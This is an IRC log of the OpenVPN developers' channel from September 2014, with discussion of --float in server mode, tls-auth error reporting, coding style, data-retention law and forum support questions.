dazo] by ChanServ 11:30 <@dazo> hmmm ... kicked out of the openvpn channels? 11:43 <@ecrist> I was not 12:09 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 245 seconds] 12:15 <+krzee> dazo, maybe your client had an issue getting registered with nickserver before rejoining or something… that has happened to me 12:16 <@dazo> krzee: ahh, could be ... but is it needed to be registered to access #openvpn too? 12:16 <+krzee> yes 12:16 <@dazo> ahh, okay, you changed that as well :) 12:16 <@dazo> clever :) 12:16 <+krzee> ban evaders 12:16 <@dazo> heh ... yeah 12:16 <@dazo> so *that* is why #openvpn has been calmer :) 12:17 <+krzee> that and banning webchat 12:17 <@dazo> yeah 12:17 <+krzee> makes a real difference 12:18 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 12:18 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 13:42 -!- mattock is now known as mattock_afk 13:48 -!- dazo is now known as dazo_afk 15:33 <@vpnHelper> RSS Update - tickets: #438: openvpn should detect dns is working before even attempting profile actions <https://community.openvpn.net/openvpn/ticket/438> --- Day changed Thu Sep 04 2014 02:51 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 260 seconds] 02:52 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 02:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ 02:58 -!- dazo_afk is now known as dazo 03:49 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:50 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Client Quit] 04:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:04 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 268 seconds] 05:16 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 06:49 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:50 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 06:51 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 06:54 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 06:54 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:00 -!- mattock_afk is now known as mattock 07:14 * cron2 wonders from which future dazo came back :) 07:14 <@dazo> I have no idea :) 07:15 <@dazo> FreeNode is really unstable for me these days 07:15 <@cron2> dazo: you describe --float for server mode on the openvpn-users list - which is something that might get into 2.4 if someone will ever get around to review the patch, fix the remaining issues, and synchonize the packet format changes with james... :-) 07:15 <@dazo> --float has been around for ages 07:15 <@cron2> today, --float is for p2p mode 07:15 <@cron2> ONLY 07:15 <@dazo> really? 07:15 <@cron2> yes 07:16 <@cron2> this is why we have a long thread on the openvpn-devel list about --float for server mode, the security implications of walking a client list to find a matching hmac, etc. :-) 07:16 <@dazo> the man page does not say that 07:16 <@cron2> http://community.openvpn.net/openvpn/wiki/MunichHackathon2013 does :-) 07:16 <@vpnHelper> Title: MunichHackathon2013 – OpenVPN Community (at community.openvpn.net) 07:18 <@cron2> (it actually is mentioned twice, search for "float" without "--") 07:20 <@dazo> cron2: in forward.c, process_incomming_link() does 07:20 <@dazo> if (!link_socket_verify_incoming_addr (&c->c2.buf, lsi, &c->c2.from)) 07:21 <@dazo> link_socket_verify_incoming_addr() is in socket.h 07:21 <@dazo> and does 07:21 <@dazo> if (info->remote_float || (!info->lsa->remote_list)) 07:21 <@dazo> return true; 07:21 <@cron2> it will check that the incoming address is known, or drop - but it will not walk the list of known TLS clients to find "oh, I know this one, it has just floated" 07:21 <@dazo> ahh, right! 07:22 <@dazo> but this code path is for more than p2p only, afaics 07:23 <@cron2> yeah, this is what makes the socket.* stuff so hard to grok, it's mixing p2p and client-server stuff 07:23 <@cron2> <52606370.40607@marcant.net> 07:24 <@cron2> this is where the float+tls discussion started 07:24 <@cron2> <CAGyAFMV8XBgiVKHB1n-fhycPOKCMyZkyQtnit7aUQ02yHDLRrA@mail.gmail.com> 07:24 <@cron2> and this is the "most recent" patch 07:25 <@dazo> float+tls is actually just improving this even further, to do a 1:1 mapping between client and server ... but you're right, now without --float is only "I know this IP" 07:25 <@cron2> then maybe I am misunderstanding you...? 07:25 <@dazo> and that check is disabled in link_socket_verify_incomming_addr(), called from process_incoming_link() in forward.c 07:26 <@cron2> float+tls is making --float work in (point-to-multipoint) TLS server mode 07:28 <@dazo> the session ID stuff is related, but not the same as --float 07:28 <@cron2> it is necessary to make --float work in multi-client mode without opening the server to resource exhaustion ttacks 07:29 <@dazo> You can say that you replace the IP address with a unique session ID, to check that the client is still whom it claims to be, regardless of the IP address the client uses 07:29 <@cron2> (because otherwise you'd need to walk the list of all clients to see if an unknown address matches one of them) 07:29 <@cron2> we already *have* a session ID, it's just not contained in data packets 07:29 <@dazo> but now, if you have 2 clients behind a NAT ... the public IP will be the same for both clients ... thus OpenVPN will regard both clients "known", regardless if it's client A or B 07:29 <@cron2> so what the patch does is change the data packet format to always/when-needed send the session ID in data packets, and the server can then lookup the client session 07:30 <@cron2> no 07:30 <@cron2> the normal lookup will not be changed, it's just if the normal lookup does not find anything that the server will consult the session ID in the packet to find whether this is a client that "moved" 07:32 <@dazo> yeah, true, but how I understand it, it's not directly comparable to --float in any ways ... it's a different mechanism solving a similar issue 07:32 <@cron2> well, --float in itself can not work in server mode, as the server has no idea which client has just changed its IP address 07:33 <@cron2> so variant a "just look for anything in the client table that has a matching HMAC" was proposed, but James and Syzzer refused that because "resource exhaustion attack" 07:33 <@dazo> I need to re-test this, but I've used --float in many years on setups where I know the IP changes ... and afair, it helped adding --float ... p2mp mode 07:33 <@cron2> re-test :) 07:34 <@cron2> otherwise someone would have just added "it already works, what are you talking about?" to the first thread :-) 08:19 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 08:19 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 10:21 -!- dazo is now known as dazo_afk 13:43 -!- mattock is now known as mattock_afk 16:11 <+debbie10t> no thursday meeting this week .. 16:22 <+debbie10t> are you all out on syzzers jolley ;) 16:22 <+debbie10t> ie: hackathon .. 16:24 <@syzzer> not till november ;) 16:24 <@syzzer> there have been no meeting for quite a while 16:24 <+debbie10t> I was reading about it here: https://community.openvpn.net/openvpn/wiki/MunichHackathon2014 16:24 <@vpnHelper> Title: MunichHackathon2014 – OpenVPN Community (at community.openvpn.net) 16:25 <+debbie10t> i hope the lack of meetings is cos you are all working hard on 2.4 16:25 <+debbie10t> hi syzzer btw ;) 16:25 <@syzzer> hi debbie10t ;) 16:26 <@syzzer> btw, I see your name popping up more and more, what is your background? 16:27 <@syzzer> related to openvpn corp? or just a volunteer helping out lots of people because you can? 16:27 <+debbie10t> the reason my name pops up more regular is cos i have been modding on the forum for almost a year 16:27 <+debbie10t> helping out .. in my own way 16:27 <+debbie10t> learned a lot 16:28 <@syzzer> ah, cool. The forum really needs people that do that. Us developers hide on irc ;) 16:28 <+debbie10t> no problem with that at all .. you guys are busy 16:29 <+debbie10t> Michael and I (and sometimes josh & eric) basically man the forum .. 16:29 <+krzee> which i love, cause i get to ignore it :D 16:29 <+debbie10t> but most of the forum traffic is basic config issues 16:29 <+debbie10t> yep .. 16:30 <+krzee> i only liked the forum when it was slow enough for vpnHelper to tell me about the posts 16:30 <+debbie10t> i don't blame you one single bit 16:30 <+krzee> now that would flood him off 16:30 <+debbie10t> actually .. the forum seems to have calmed down a little 16:30 <+krzee> its just cause im so accustomed to IRC, been on it for over 20 years 16:30 <+debbie10t> i have really tried to push RTFM without being too rude 16:30 <@syzzer> I usually only look at posts when people like debbie10t point me to interesting ones, which works great for me 16:31 <+debbie10t> syzzer: that is the plan ;) 16:32 <+debbie10t> i only come here when i am absolutely stuck for an answer .. 16:36 <+debbie10t> also .. Hi krzee .. =] 16:36 <+krzee> hey 16:37 * debbie10t slightly embarressed 16:40 <+debbie10t> FYI: 16:41 <+debbie10t> you guys do know my real name is Richard .. 16:41 <+debbie10t> seems like as good a time as any to be open 16:43 <@syzzer> well, hi Richard then ;) I'm guessing you already linked me to my real-world pseudonym 'Steffan'... 16:44 <+debbie10t> no i have not yet tracked you down stephan .. working on it now though ;) 16:44 <+debbie10t> sorry .. steffan 16:44 <@syzzer> np, common mistake 16:44 <+debbie10t> my apologies .. 16:46 <+krzee> if we're getting all r/l around here im jeff 16:47 <+debbie10t> lol 16:47 <+debbie10t> no .. i just wanted to make sure my gender was fully understood 16:48 <+krzee> dont worry, everyone has other stuff to worry about 16:49 <+krzee> for syzzer here thats usually super elite crypto stuff afaik 16:49 <+debbie10t> as far as anybody knows ;) 16:50 <@syzzer> hehe, super elite crypto stuff ftw! 16:54 <+debbie10t> steffan .. it looks like you have never posted on the forum ? 16:55 <+debbie10t> well .. if you are crypto maniac .. you probably know how to hide ;) 16:55 <+krzee> he posts on the git 16:56 <+krzee> which id say is a much more effective use of his time ;] 16:56 <+debbie10t> totally :) 16:56 <+debbie10t> screw that .. even my time has become more valuable to me 16:56 <@syzzer> I should, yes ;) and indeed, I don't think I ever posted on the forums. I just spill my thoughts on irc and someone goes and translates it to forum-ready text. Awesome! 16:57 <+debbie10t> awesome indeed 16:58 <@syzzer> it's getting late here, so I'm going to catch some sleep. See ya :) 16:58 <+krzee> nite 16:58 <+debbie10t> cheerz .. sleep well 16:59 * krzee houdinis 16:59 <+debbie10t> hey krzee .. i am really sorry i managed to piss u off before 17:00 <+debbie10t> and everybody else for that matter 17:00 <+krzee> np we're all good, im going to put down irc for a few 17:00 <+debbie10t> sure .. this is no place for idle chit chat 17:00 <+debbie10t> cheerz man ;) 17:00 <+debbie10t> men 17:00 <+debbie10t> and women ;) 17:31 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 18:43 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 250 seconds] --- Day changed Fri Sep 05 2014 03:25 -!- dazo_afk is now known as dazo 07:14 <@cron2> mornin' 07:38 <@cron2> d12fk: are you still alive, with such a long time passed without some weekly poking? 08:33 <@ecrist> was the last commit really back in July? 08:34 <@cron2> plausible 08:34 <@cron2> there are a few minor patches on the -devel list that I need to merge "real soon now", and a couple of big ones that need more review and tuning 08:35 <@cron2> August was horribly busy, now I'm on vacation (but have the family ith me, so I can't go on and hack all day) 08:35 <@ecrist> no shame, just answering a question in the main channel 08:35 <@cron2> but yeah, july/august have been very quiet 09:04 <@cron2> speaking of it, dazo has just committed something :) 09:05 <@dazo> yeah, a systemd fix :) 09:05 <@dazo> I'm sending a few more fixes to the ML (this one had been on the ML for a while) 09:06 <@vpnHelper> RSS Update - gitrepo: Add configure check for the path to systemd-ask-password <https://github.com/OpenVPN/openvpn/commit/ba79c71d1255651bfcb8570519b4033c763d47d3> 10:01 <@dazo> plaisthos: I noticed you've updated the Emacs section in the DeverloperDocumentation wiki ... but I think it is wrong 10:01 <@dazo> it contracticts the two lines above the Emacs segment 10:02 <@dazo> indents-with-tabs nil 10:02 <@dazo> tab-width 2 10:03 <@dazo> That would be aligned with "Indentation is 2 spaces (no tabs)" 10:03 * dazo got confused by the indenting style when cleaning up systemd stuff 10:03 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 10:03 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 10:05 <+debbie10t> Sorry .. this is my own post and there is no rush at all : https://forums.openvpn.net/topic16912.html - just curious 10:05 <@vpnHelper> Title: OpenVPN Support Forum The certificate for this website is invalid ? : Forum & Website Support (at forums.openvpn.net) 10:07 <@dazo> debbie10t: I don't have that issue in FF31 (Fedora 19( 10:07 <@dazo> ) 10:07 <+debbie10t> hi dazo 10:07 <+debbie10t> not do i .. only in safari .. 10:08 <@dazo> sounds like Safari is missing some root certificates then 10:08 <+debbie10t> ahh .. now i know what it is 10:08 <+debbie10t> firewall .. being too tight ! 10:08 <+debbie10t> thanks 10:09 <+debbie10t> oh well .. now i look a fool :( 10:09 <+debbie10t> lol 10:09 <@dazo> !?!? that error was about not being able to validate the certificate .... but oh well 10:10 <@d12fk> cron2: oh hai, reminder ack, kthxbye =) 10:10 <+debbie10t> i have to check .. but i think it is where i have tied safari down so tight with the firewall it cannot get the full cert 10:10 <@d12fk> i'll tell the tale of my business over a beer in munich 10:11 <@d12fk> it's spelled busyness i think, the other thing is the thing with the ties, right?! 10:11 <+debbie10t> dang .. beer in munich .. haven't been to munich since '85 10:23 <+debbie10t> yup .. it was the firewall ! gah :) 11:19 <@plaisthos> dazo: Depends on the file unfortenately. Most of the stuff written by James is with tabs 11:23 <@dazo> plaisthos: okay ... we just need to agree on which style we do use then ... as now the general rule says 2 space/no tab ... and the emacs section says 2 space, tab with tab-size 8 .... which contradicts each other nicely :) 11:23 <@dazo> (my 4/4 systemd patch fixes formatting to the generic description) 11:25 <@plaisthos> dazo: no 2 space and tab=8 is both true 11:26 <@plaisthos> the gnu style is special .... 11:26 <@dazo> eew 11:26 <@plaisthos> it is like identing with 2 spaces but if you happen to have 8 spaces you use a tab instead 11:27 <@plaisthos> emacs will do that automatically for you 11:27 <@plaisthos> (probably the only editor which really works with this strange style %)) 11:27 <@dazo> hmmm ... that sounds "complicated" ... when considering that not everyone uses emacs 11:27 <@plaisthos> we should add "Code STyle to the munich meeting" 11:27 <@dazo> which is one of the reasons I've come fan of no-tab, just space .... one space is one space everywhere 11:28 <@dazo> plaisthos++ 11:40 <@plaisthos> dazo: and don't read the other GNU style rules :) 11:40 <@plaisthos> like how to indent multiline argument and stuff 11:40 <@dazo> hehe 11:41 * dazo would like the last patch before branching out 2.4 to be a code style clean-up :) 12:47 <+krzee> if emacs does it on its own, can code just be piped through it to get the effect? 13:32 -!- Irssi: #openvpn-devel: Total of 19 nicks [10 ops, 0 halfops, 3 voices, 6 normal] 13:32 <@ecrist> does james ever show up for meetings? 13:32 <@ecrist> do we have meetings any more? 13:33 <@ecrist> OpenVPN Connect seems pretty out dated compared to the open source client 16:43 <@syzzer> vim and eclipse understand the weird openvpn coding style just fine too 16:44 <@syzzer> but I would definitely not vote against a more sane coding style ;) 17:01 <@dazo> krzee: most likely possible to make a little emacs lisp script which does it automatically, yes 17:07 <+krzee> nice 17:43 -!- dazo is now known as dazo_afk 18:42 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Leaving] 21:38 <+krzee> maybe one day we could get a real TLS auth failed error that everybody can understand? 23:51 -!- snappy [nipnop@unaffiliated/snappy] has joined #openvpn-devel --- Day changed Sat Sep 06 2014 03:05 <@syzzer> krzee: we could probably log that on the side that is discarding the packet as invalid more clearly 03:05 <@syzzer> but we cannot send back a 'tls-auth failed' response, as that opens up side channel and dos risks 04:08 < snappy> i jumped into the conversation, is this about rejecting a packet forgery? 04:14 <@syzzer> yes, about giving a clear error message when tls-auth fails 04:14 < snappy> pretty sure you guys probably came across this: http://www.daemonology.net/blog/2014-09-04-how-to-zero-a-buffer.html -- i noticed in some places in the code that some sensitive data is cleared using the memset technique (unfortunately i've made the same foible in my own crypto code) 04:14 <@vpnHelper> Title: How to zero a buffer (at www.daemonology.net) 04:17 <@syzzer> yes, I read that, but it was already on my list to check, just never got to it 06:21 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 06:26 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 06:42 <@cron2> d12fk: beer is good, and tales over beer is always welcome :-) - ties are scary 06:42 <@cron2> dazo: current code has "indent 2 spaces, with tabs, tab=8" - at least most of it 06:43 <@cron2> ecrist: if we call a formal meeting, James usually shows up 06:44 <@cron2> (just in case someone wonders - I'm on vacation, and I go online while the kids sleep, that is, ~2pm to 06:45 <@cron2> ~4pm...) 09:06 <+krzee> syzzer, well even the client could realize it had 5 initializations in a row and give you a strong guess, or so i think 12:48 -!- roentgen_ [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:50 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 12:50 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:52 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:54 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 12:54 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 13:14 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 14:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 252 seconds] 14:18 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:18 -!- mode/#openvpn-devel [+o dazo] by ChanServ 14:25 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 14:25 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 14:29 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:29 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 14:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:59 <+debbie10t> I am just following up this one: https://forums.openvpn.net/topic16588.html#p44753 14:59 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN with DNSMasq -- solution and question : Braggin' Rights (at forums.openvpn.net) 14:59 <+debbie10t> probably pekster would be more interested 14:59 <+debbie10t> but the actual message is to thank JJK 14:59 <+debbie10t> and I don't know who JJK is right now ? 18:16 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Leaving] 21:58 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 21:59 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Sep 07 2014 01:18 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 02:51 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 02:56 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 02:56 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 04:27 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:41 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 04:42 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 04:42 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 07:15 <@cron2> re 07:53 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 08:51 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 252 seconds] 10:44 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:04 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 12:04 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 19:18 <@vpnHelper> RSS Update - tickets: #439: error in down script can block openvpnsrv.exe <https://community.openvpn.net/openvpn/ticket/439> --- Day changed Mon Sep 08 2014 01:15 -!- mattock_afk is now known as mattock 03:54 -!- mattock is now known as mattock_afk 07:27 -!- mattock_afk is now known as mattock 08:36 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 08:36 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:38 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel [] 09:14 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 09:35 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 09:35 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 12:24 -!- dazo is now known as dazo_afk 14:10 -!- mattock is now known as mattock_afk 18:57 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Ping timeout: 246 seconds] 19:52 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Closing] 20:48 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 20:51 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 22:39 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:40 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:40 -!- Netsplit *.net <-> *.split quits: +krzee, @syzzer, @dazo_afk 22:40 -!- krzie is now known as krzee 22:45 -!- syzzer [~syzzer@2001:610:697::12] has joined #openvpn-devel 22:45 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has joined #openvpn-devel 22:46 -!- syzzer [~syzzer@2001:610:697::12] has quit [Changing host] 22:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:46 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:46 -!- dazo_afk [~dazo@2001:470:de40:1021::14] has quit [Changing host] 22:46 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:46 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 22:46 -!- dazo_afk is now known as dazo 23:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 23:24 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 23:24 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 23:35 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 23:36 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel --- Day changed Tue Sep 09 2014 00:07 -!- mattock_afk is now known as mattock 05:06 -!- mattock is now known as mattock_afk 05:39 -!- mattock_afk is now known as mattock 06:54 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 06:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:19 <@vpnHelper> RSS Update - gitrepo: Don't let openvpn_popen() keep zombies around <https://github.com/OpenVPN/openvpn/commit/d886d468849051af525bb8ff1b9080f6c934e3ab> 12:33 -!- dazo is now known as dazo_afk 13:37 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 13:37 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 14:17 -!- mattock is now known as mattock_afk 14:53 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 14:53 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 19:09 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Later"] 23:38 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 23:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Sep 10 2014 02:06 -!- dazo_afk is now known as dazo 05:00 <@vpnHelper> RSS Update - gitrepo: Clean up the pipe closing in openvpn_popen() <https://github.com/OpenVPN/openvpn/commit/df8ebb21ad1957ec013ab832a0f6c18e9d6744f6> || Don't try to use systemd-ask-password if it is not available <https://github.com/OpenVPN/openvpn/commit/55480682b9bfa5894402954f4c740954d8c5c556> 05:58 <@dazo> Hmmm .... http://torrentfreak.com/bbc-isps-should-assume-heavy-vpn-users-are-pirates-140908/ 05:58 <@vpnHelper> Title: BBC: ISPs Should Assume Heavy VPN Users are Pirates | TorrentFreak (at torrentfreak.com) 05:59 < snappy> heavy vpn user pirate here! 06:00 < snappy> just kdiding, but i do tunnel all my traffic to the US (i live in AU) 06:00 < snappy> with data retention laws glooming and constant violations of user privacy, tunneling is the best choice 06:07 <@dazo> I work as a remote employee ... and must use VPN every day. So it's nice to know BBC considers me and my remote employee colleagues as pirates :) 06:08 <@dazo> How is the stance with the data retention in Germany nowadays? It's been rejected by some EU courts this summer ... 06:09 * dazo ponders on moving a VM from a Czech hosting centre to one in Germany 06:14 < snappy> CEO of choice magazine (kind of like the consumerist of the US) went on national TV and said its absolutely legal to use a VPN and stream netflix 06:14 < snappy> the law is a bit dubious, but that's pretty much what almost every australian household is doing 06:15 < snappy> although i find the surge of openvpn-branded providers kind of revolting (i've never used them but i find that they try to distance themselves from mentioning openvpn where they can) 06:21 -!- mattock_afk is now known as mattock 07:23 <@cron2> re 07:24 <@cron2> dazo: right now, it's dead due to EU decisions, but the german politicians are trying to bring it back *sigh* 07:25 <@cron2> (jftr, I rarely use VPN :-)) - most of the time, plain SSH is good enough) 08:01 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 252 seconds] 08:03 <@vpnHelper> RSS Update - tickets: #440: errors when resuming from hibernation <https://community.openvpn.net/openvpn/ticket/440> 08:05 <+krzee> cron2, i commonly block ssh unless on the vpn :D 08:08 <+krzee> dazo, last i knew germany allowed it (which i only know because a clever german sued his telephone provider to get all data that was being retained on him under .de law) , but that is prior to all the snowden stuff, some of which directly touched germany… so maybe things have changed 08:09 <@dazo> krzee: I know this summer the law was considered unconstitutional and illegal in Germany ... I just wondered if it had been completely reversed yet 08:09 <@vpnHelper> RSS Update - tickets: #441: NDIS6 driver: route set, but interface not used <https://community.openvpn.net/openvpn/ticket/441> 08:09 <@dazo> but that German politicians tries to get it (or something similar) back, is troublesome 08:10 <+krzee> oh awesome! 08:10 <+krzee> i knew nothing about those developments… a move in the right direction is nice! 08:10 <@dazo> or actually not illegal in Germany, in the whole EU actually 08:10 <+krzee> no kidding, what a 180 degree turn! 08:11 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 08:11 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:11 <+krzee> i think it was EU law that prviously made it mandatory 08:11 <@dazo> Yeah, it did ... but it was taken to an EU court 08:11 <+krzee> that is fantastic! 08:12 <+krzee> maybe one day americans will wakeup and demand such things 08:12 <@dazo> "On 8 April 2014, the Court of Justice of the European Union declared the Directive invalid in response to a case brought by Digital Rights Ireland against the Irish authorities and others" 08:12 <@dazo> https://en.wikipedia.org/wiki/Data_Retention_Directive 08:12 <@vpnHelper> Title: Data Retention Directive - Wikipedia, the free encyclopedia (at en.wikipedia.org) 08:12 <+krzee> (im american in case anyone didnt know) 08:13 * krzee gives a high 5 to the court of justice 08:15 <@dazo> krzee: I hope so, I really do. But given that even press freedom is under pressure in the US, which is just a "minor" issue to the other issues ... I'm afraid it will take a long time. In the US, it's basically the corporations controlling the politicians; while that is in much lesser degree the situation in Europe, so politicians here depend far more on the people 08:16 <+debbie10t> Politicians in england depend on corporations 08:16 <+krzee> I know nothing of the relationship between politicians and people in europe, i agree with everything you said about the usa situation 08:17 <@dazo> debbie10t: oh, true ... but there are a lot of issues in England, like lack of a free press 08:17 <+debbie10t> indeed :( 08:17 <+krzee> free press 08:18 <@dazo> (UK gov can close down any media house whenever they feel like it, and it won't be breaking any laws in doing so) 08:18 <+krzee> maybe somewhere in an ecuadorian embassy... 08:18 <@dazo> hehehe 08:44 <+debbie10t> I have been reading about elyptic curves .. head hurts a bit 08:44 <+debbie10t> elliptic .. infact 08:45 <+krzee> just remember not to use curves given by the NSA ;] 08:45 <+debbie10t> hehe 08:46 <+debbie10t> have you heard of KaKaRoTo ? 08:46 <+debbie10t> http://kakaroto.homelinux.net/2012/01/how-the-ecdsa-algorithm-works/#comments 08:48 <+debbie10t> no vpnhelper ? 10:32 -!- dazo is now known as dazo_afk 10:32 -!- Irssi: #openvpn-devel: Total of 19 nicks [10 ops, 0 halfops, 3 voices, 6 normal] 10:32 <@ecrist> vpnHelper: is here. 10:33 <+debbie10t> hi eric: does vpnhelper only relay forum posts .. I thought it worked on all URLs pasted to the channel ? 10:50 <@ecrist> it does, sometimes 10:50 <@ecrist> it should work for all, though 10:50 <@ecrist> if it doesn't, there no reason to worry about it 10:50 <+debbie10t> lol .. not worried .. just curios 14:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 14:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 14:25 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:26 -!- mattock is now known as mattock_afk 14:46 <+debbie10t> I have done some testing and found that (in bridge mode) OpenVPN does not mind if the --route gateway is the server or the actual default gateway of the server LAN .. is this really "by design" ?is this by design ? 14:48 <+debbie10t> Although, from my post here : https://forums.openvpn.net/topic13247.html : there is clearly some technical differences being overlooked 14:48 <+debbie10t> that post in summary is : 14:48 <@vpnHelper> Title: OpenVPN Support Forum [Solved] VPN in BRIDGE Mode Drops Some Broadcasts : Doh! (at forums.openvpn.net) 14:49 <+debbie10t> w7 client worked with server as gateway becuase at MAC layer broadcast are sent to 255.255.255.255 .. on WXP client broadcasts are sent to subnet.255 14:50 <+debbie10t> and the server did not replicate the WXP broadcasts to the server subnet 14:51 <+debbie10t> altho .. i must test this more as the server in my first test was WXP .. my recent tests server is linux 15:48 -!- lfx [~lfx@self-aware.evilmachines.net] has joined #openvpn-devel 15:49 < lfx> hello, I'm on MacOS 10.9.4 and I want to compile openvpn with openssl 1.0.1i which is already installed via port, yet it still uses 0.9.8 from /usr/lib/ 15:50 < lfx> how can I point it to the 1.0.1i libs? 17:41 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn-devel 17:53 < rooth> I know I 